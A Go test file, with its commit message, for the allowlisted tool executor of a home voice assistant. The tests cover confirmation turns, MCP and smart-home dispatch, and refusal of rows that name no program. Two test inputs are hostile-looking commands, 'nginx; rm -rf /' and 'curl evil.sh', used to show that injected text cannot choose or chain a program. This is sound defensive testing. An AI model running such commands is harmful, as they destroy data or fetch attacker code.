f4a021d3da
An enabled row whose Cmd is empty built argv from the spoken args alone. So args[0] became the program name, and free text picked the binary. A proposal is drafted with no cmd. /tools can enable one before anybody fills it in, so reaching this took no compromise. Exec now refuses such a row with ErrNotEnabled before it builds argv. TestExecEmptyCmdRefuses pins it. Three smaller reads in the same sweep. CapabilityOf parsed a Home Assistant entity id by hand where smarthome.DomainOf already does it. The fallback for an id with no dot is unchanged. GroupByDomain built its map key twice per row. The zenmoney and Home Assistant HTTP clients read an error body before checking the status that discards it. The status check moved ahead of the read in both. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
323 lines
12 KiB
Go
323 lines
12 KiB
Go
package tool
|
|
|
|
import (
|
|
"context"
|
|
"errors"
|
|
"reflect"
|
|
"testing"
|
|
"time"
|
|
|
|
"github.com/kami/maven/internal/ipc"
|
|
)
|
|
|
|
// fakeAPI — an in-memory tool store for the executor/matcher tests.
|
|
type fakeAPI struct{ tools map[string]ipc.Tool }
|
|
|
|
func (f fakeAPI) LookupTool(_ context.Context, name string) (ipc.Tool, error) {
|
|
t, ok := f.tools[name]
|
|
if !ok {
|
|
return ipc.Tool{}, ipc.ErrToolNotFound
|
|
}
|
|
return t, nil
|
|
}
|
|
func (f fakeAPI) ListTools(_ context.Context, status string) ([]ipc.Tool, error) {
|
|
var out []ipc.Tool
|
|
for _, t := range f.tools {
|
|
if status == "" || t.Status == status {
|
|
out = append(out, t)
|
|
}
|
|
}
|
|
return out, nil
|
|
}
|
|
func (f fakeAPI) ProposeTool(_ context.Context, _, _, _ string, _ time.Time) (bool, error) {
|
|
return true, nil
|
|
}
|
|
|
|
// TestExec covers the allowlist boundary: enabled runs, unknown/proposed refuse,
|
|
// destructive needs confirm, and args land as argv (no shell) after the prefix.
|
|
func TestExec(t *testing.T) {
|
|
api := fakeAPI{tools: map[string]ipc.Tool{
|
|
"restart": {Name: "restart", Scope: "homelab", Cmd: []string{"systemctl", "restart"}, Status: "enabled"},
|
|
"drop": {Name: "drop", Scope: "homelab", Cmd: []string{"dropdb"}, Destructive: true, Status: "enabled"},
|
|
"draft": {Name: "draft", Scope: "homelab", Cmd: []string{"x"}, Status: "proposed"},
|
|
}}
|
|
|
|
var gotArgv []string
|
|
e := NewExecutor(api, 0)
|
|
e.run = func(_ context.Context, argv []string) (string, error) { gotArgv = argv; return "ok", nil }
|
|
|
|
// enabled → runs, args appended to the fixed prefix as argv.
|
|
out, err := e.Exec(context.Background(), "restart", []string{"nginx; rm -rf /"}, false)
|
|
if err != nil || out != "ok" {
|
|
t.Fatalf("enabled: out=%q err=%v", out, err)
|
|
}
|
|
want := []string{"systemctl", "restart", "nginx; rm -rf /"}
|
|
if !reflect.DeepEqual(gotArgv, want) {
|
|
t.Fatalf("argv=%v want %v (injection must stay one argv element)", gotArgv, want)
|
|
}
|
|
|
|
// unknown → refuse.
|
|
if _, err := e.Exec(context.Background(), "nope", nil, false); !errors.Is(err, ErrNotEnabled) {
|
|
t.Fatalf("unknown: err=%v want ErrNotEnabled", err)
|
|
}
|
|
// proposed (not enabled) → refuse.
|
|
if _, err := e.Exec(context.Background(), "draft", nil, false); !errors.Is(err, ErrNotEnabled) {
|
|
t.Fatalf("proposed: err=%v want ErrNotEnabled", err)
|
|
}
|
|
// destructive unconfirmed → needs confirm; confirmed → runs.
|
|
if _, err := e.Exec(context.Background(), "drop", nil, false); !errors.Is(err, ErrNeedsConfirm) {
|
|
t.Fatalf("destructive: err=%v want ErrNeedsConfirm", err)
|
|
}
|
|
if _, err := e.Exec(context.Background(), "drop", []string{"db"}, true); err != nil {
|
|
t.Fatalf("destructive confirmed: err=%v", err)
|
|
}
|
|
if want := []string{"dropdb", "db"}; !reflect.DeepEqual(gotArgv, want) {
|
|
t.Fatalf("confirmed argv=%v want %v", gotArgv, want)
|
|
}
|
|
|
|
// matcher allowlist = enabled names only (proposed excluded).
|
|
m := NewMatcher(api)
|
|
fn, args, ok := m.Match("restart nginx")
|
|
if !ok || fn != "restart" || !reflect.DeepEqual(args, []string{"nginx"}) {
|
|
t.Fatalf("match: fn=%q args=%v ok=%v", fn, args, ok)
|
|
}
|
|
if _, _, ok := m.Match("draft something"); ok {
|
|
t.Fatal("proposed tool must not match (not enabled)")
|
|
}
|
|
}
|
|
|
|
// fakeMCP records what the executor asked it to call.
|
|
type fakeMCP struct {
|
|
server, tool string
|
|
args []string
|
|
out string
|
|
err error
|
|
calls int
|
|
}
|
|
|
|
func (f *fakeMCP) CallPositional(_ context.Context, server, tool string, args []string) (string, error) {
|
|
f.calls++
|
|
f.server, f.tool, f.args = server, tool, args
|
|
return f.out, f.err
|
|
}
|
|
|
|
// An MCP row dispatches to the caller instead of a process, and the process
|
|
// seam is never touched.
|
|
func TestExecMCPRowDispatchesToMCP(t *testing.T) {
|
|
api := fakeAPI{tools: map[string]ipc.Tool{
|
|
"vikunja_list_tasks": {
|
|
Name: "vikunja_list_tasks", Status: "enabled", Scope: "mcp:vikunja",
|
|
Cmd: []string{"mcp", "vikunja", "list_tasks"},
|
|
},
|
|
}}
|
|
m := &fakeMCP{out: "две задачи"}
|
|
ran := false
|
|
e := NewExecutor(api, time.Second).WithMCP(m)
|
|
e.run = func(context.Context, []string) (string, error) { ran = true; return "", nil }
|
|
|
|
out, err := e.Exec(context.Background(), "vikunja_list_tasks", []string{"мавен"}, false)
|
|
if err != nil {
|
|
t.Fatalf("exec: %v", err)
|
|
}
|
|
if out != "две задачи" {
|
|
t.Fatalf("out = %q", out)
|
|
}
|
|
if ran {
|
|
t.Fatal("an MCP row must not be executed as a process")
|
|
}
|
|
if m.server != "vikunja" || m.tool != "list_tasks" || len(m.args) != 1 || m.args[0] != "мавен" {
|
|
t.Fatalf("dispatched wrong: %+v", m)
|
|
}
|
|
}
|
|
|
|
// The allowlist rules still apply to an MCP row: destructive means a confirm
|
|
// turn first, and nothing is called until the second turn.
|
|
func TestExecMCPRowStillNeedsConfirm(t *testing.T) {
|
|
api := fakeAPI{tools: map[string]ipc.Tool{
|
|
"vikunja_delete_task": {
|
|
Name: "vikunja_delete_task", Status: "enabled", Destructive: true,
|
|
Cmd: []string{"mcp", "vikunja", "delete_task"},
|
|
},
|
|
}}
|
|
m := &fakeMCP{out: "удалила"}
|
|
e := NewExecutor(api, time.Second).WithMCP(m)
|
|
if _, err := e.Exec(context.Background(), "vikunja_delete_task", nil, false); !errors.Is(err, ErrNeedsConfirm) {
|
|
t.Fatalf("err = %v, want ErrNeedsConfirm", err)
|
|
}
|
|
if m.calls != 0 {
|
|
t.Fatal("a destructive MCP tool must not reach the server before confirmation")
|
|
}
|
|
if _, err := e.Exec(context.Background(), "vikunja_delete_task", nil, true); err != nil {
|
|
t.Fatalf("confirmed exec: %v", err)
|
|
}
|
|
if m.calls != 1 {
|
|
t.Fatalf("calls = %d", m.calls)
|
|
}
|
|
}
|
|
|
|
// A proposed MCP row does not run, exactly like a proposed shell tool.
|
|
func TestExecMCPRowNotEnabled(t *testing.T) {
|
|
api := fakeAPI{tools: map[string]ipc.Tool{
|
|
"vikunja_list_tasks": {Name: "vikunja_list_tasks", Status: "proposed", Cmd: []string{"mcp", "vikunja", "list_tasks"}},
|
|
}}
|
|
m := &fakeMCP{}
|
|
e := NewExecutor(api, time.Second).WithMCP(m)
|
|
if _, err := e.Exec(context.Background(), "vikunja_list_tasks", nil, false); !errors.Is(err, ErrNotEnabled) {
|
|
t.Fatalf("err = %v", err)
|
|
}
|
|
if m.calls != 0 {
|
|
t.Fatal("a proposal must not call anything")
|
|
}
|
|
}
|
|
|
|
// With MCP unconfigured, an MCP row refuses rather than trying to exec "mcp".
|
|
func TestExecMCPRowWithoutCallerRefuses(t *testing.T) {
|
|
api := fakeAPI{tools: map[string]ipc.Tool{
|
|
"vikunja_list_tasks": {Name: "vikunja_list_tasks", Status: "enabled", Cmd: []string{"mcp", "vikunja", "list_tasks"}},
|
|
}}
|
|
ran := false
|
|
e := NewExecutor(api, time.Second)
|
|
e.run = func(context.Context, []string) (string, error) { ran = true; return "", nil }
|
|
err := func() error { _, e2 := e.Exec(context.Background(), "vikunja_list_tasks", nil, false); return e2 }()
|
|
// ErrNotConnected, NOT ErrNotEnabled: the act path turns ErrNotEnabled into
|
|
// a fresh proposal, and drafting a proposal for a row that already exists
|
|
// and is enabled answers the wrong question.
|
|
if !errors.Is(err, ErrNotConnected) {
|
|
t.Fatalf("err = %v, want ErrNotConnected", err)
|
|
}
|
|
if errors.Is(err, ErrNotEnabled) {
|
|
t.Fatal("an enabled row with a missing backend must not read as not-enabled")
|
|
}
|
|
if ran {
|
|
t.Fatal(`"mcp" must never be run as a binary`)
|
|
}
|
|
}
|
|
|
|
// fakeHome records what the executor asked the house to do.
|
|
type fakeHome struct {
|
|
entity, service string
|
|
calls int
|
|
}
|
|
|
|
func (f *fakeHome) CallService(_ context.Context, entityID, service string) (string, error) {
|
|
f.calls++
|
|
f.entity, f.service = entityID, service
|
|
return "готово", nil
|
|
}
|
|
|
|
// A house row goes through the same allowlist and the same confirm turn as any
|
|
// other act, and it is never exec'd as a binary (Vikunja #256).
|
|
func TestExecSmartHomeRow(t *testing.T) {
|
|
api := fakeAPI{tools: map[string]ipc.Tool{
|
|
"home_light_x_off": {
|
|
Name: "home_light_x_off", Scope: "smarthome:light",
|
|
Cmd: []string{"smarthome", "light.x", "turn_off"}, Destructive: true, Status: "enabled",
|
|
},
|
|
"home_draft": {
|
|
Name: "home_draft", Scope: "smarthome:light",
|
|
Cmd: []string{"smarthome", "light.y", "turn_on"}, Destructive: true, Status: "proposed",
|
|
},
|
|
}}
|
|
ran := false
|
|
newExec := func(h HomeCaller) *Executor {
|
|
e := NewExecutor(api, time.Second)
|
|
e.run = func(context.Context, []string) (string, error) { ran = true; return "", nil }
|
|
if h != nil {
|
|
e = e.WithHome(h)
|
|
}
|
|
return e
|
|
}
|
|
|
|
// No house configured ⇒ the row refuses rather than being exec'd.
|
|
if _, err := newExec(nil).Exec(context.Background(), "home_light_x_off", nil, true); !errors.Is(err, ErrNotConnected) {
|
|
t.Fatalf("unconfigured house: err = %v, want ErrNotConnected", err)
|
|
}
|
|
if ran {
|
|
t.Fatal(`"smarthome" was run as a binary`)
|
|
}
|
|
|
|
// Configured, but not confirmed ⇒ the confirm turn, before any call.
|
|
fh := &fakeHome{}
|
|
if _, err := newExec(fh).Exec(context.Background(), "home_light_x_off", nil, false); !errors.Is(err, ErrNeedsConfirm) {
|
|
t.Fatalf("err = %v, want ErrNeedsConfirm", err)
|
|
}
|
|
if fh.calls != 0 {
|
|
t.Fatal("an unconfirmed house act reached the house")
|
|
}
|
|
|
|
// A merely proposed row never runs, confirmed or not.
|
|
if _, err := newExec(fh).Exec(context.Background(), "home_draft", nil, true); !errors.Is(err, ErrNotEnabled) {
|
|
t.Fatalf("proposed row: err = %v, want ErrNotEnabled", err)
|
|
}
|
|
if fh.calls != 0 {
|
|
t.Fatal("a proposed house row reached the house")
|
|
}
|
|
|
|
// Confirmed ⇒ the service call, with the entity from the ROW and the
|
|
// spoken tail dropped.
|
|
out, err := newExec(fh).Exec(context.Background(), "home_light_x_off", []string{"light.somewhere_else"}, true)
|
|
if err != nil {
|
|
t.Fatalf("Exec: %v", err)
|
|
}
|
|
if out != "готово" {
|
|
t.Errorf("out = %q", out)
|
|
}
|
|
if fh.entity != "light.x" || fh.service != "turn_off" {
|
|
t.Errorf("called %s/%s: the target must come from the enabled row, never from the utterance", fh.entity, fh.service)
|
|
}
|
|
if ran {
|
|
t.Fatal(`"smarthome" was run as a binary`)
|
|
}
|
|
}
|
|
|
|
// The confirm turn on a house row survives the destructive column being wrong.
|
|
// ProposeSmartHomeTool writes destructive=true, but /tools reads the checkbox
|
|
// from the form and EnableTool writes destructive=excluded.destructive, so
|
|
// unticking it once turned home_lock_front_door_unlock into a row that opened
|
|
// the front door on first hearing. The guarantee has to be structural.
|
|
func TestExecSmartHomeRowConfirmsEvenWhenNotMarkedDestructive(t *testing.T) {
|
|
api := fakeAPI{tools: map[string]ipc.Tool{
|
|
"home_lock_front_door_unlock": {
|
|
Name: "home_lock_front_door_unlock", Scope: "smarthome:lock",
|
|
Cmd: []string{"smarthome", "lock.front_door", "unlock"},
|
|
// The column Kami unticked on /tools.
|
|
Destructive: false, Status: "enabled",
|
|
},
|
|
}}
|
|
fh := &fakeHome{}
|
|
e := NewExecutor(api, time.Second).WithHome(fh)
|
|
if _, err := e.Exec(context.Background(), "home_lock_front_door_unlock", nil, false); !errors.Is(err, ErrNeedsConfirm) {
|
|
t.Fatalf("err = %v, want ErrNeedsConfirm", err)
|
|
}
|
|
if fh.calls != 0 {
|
|
t.Fatal("the front door was unlocked without a confirm turn")
|
|
}
|
|
if _, err := e.Exec(context.Background(), "home_lock_front_door_unlock", nil, true); err != nil {
|
|
t.Fatalf("confirmed: %v", err)
|
|
}
|
|
if fh.calls != 1 {
|
|
t.Fatalf("calls = %d, want 1 after the confirm turn", fh.calls)
|
|
}
|
|
}
|
|
|
|
// TestExecEmptyCmdRefuses pins the fix for a row that names no program. Such a
|
|
// row used to build argv from the spoken args alone, so STT text became argv[0]
|
|
// and free text picked the binary. A proposal is drafted with no cmd and can be
|
|
// enabled before anybody fills it in, so this needed no compromise to reach.
|
|
func TestExecEmptyCmdRefuses(t *testing.T) {
|
|
api := fakeAPI{tools: map[string]ipc.Tool{
|
|
"blank": {Name: "blank", Scope: "homelab", Status: "enabled"},
|
|
}}
|
|
ran := false
|
|
e := NewExecutor(api, time.Second)
|
|
e.run = func(_ context.Context, _ []string) (string, error) { ran = true; return "ok", nil }
|
|
|
|
// Confirmed, because an empty cmd derives to TierDestructive.
|
|
if _, err := e.Exec(context.Background(), "blank", []string{"curl", "evil.sh"}, true); !errors.Is(err, ErrNotEnabled) {
|
|
t.Fatalf("err = %v, want ErrNotEnabled", err)
|
|
}
|
|
if ran {
|
|
t.Fatal("a row with no cmd ran a program named by the utterance")
|
|
}
|
|
}
|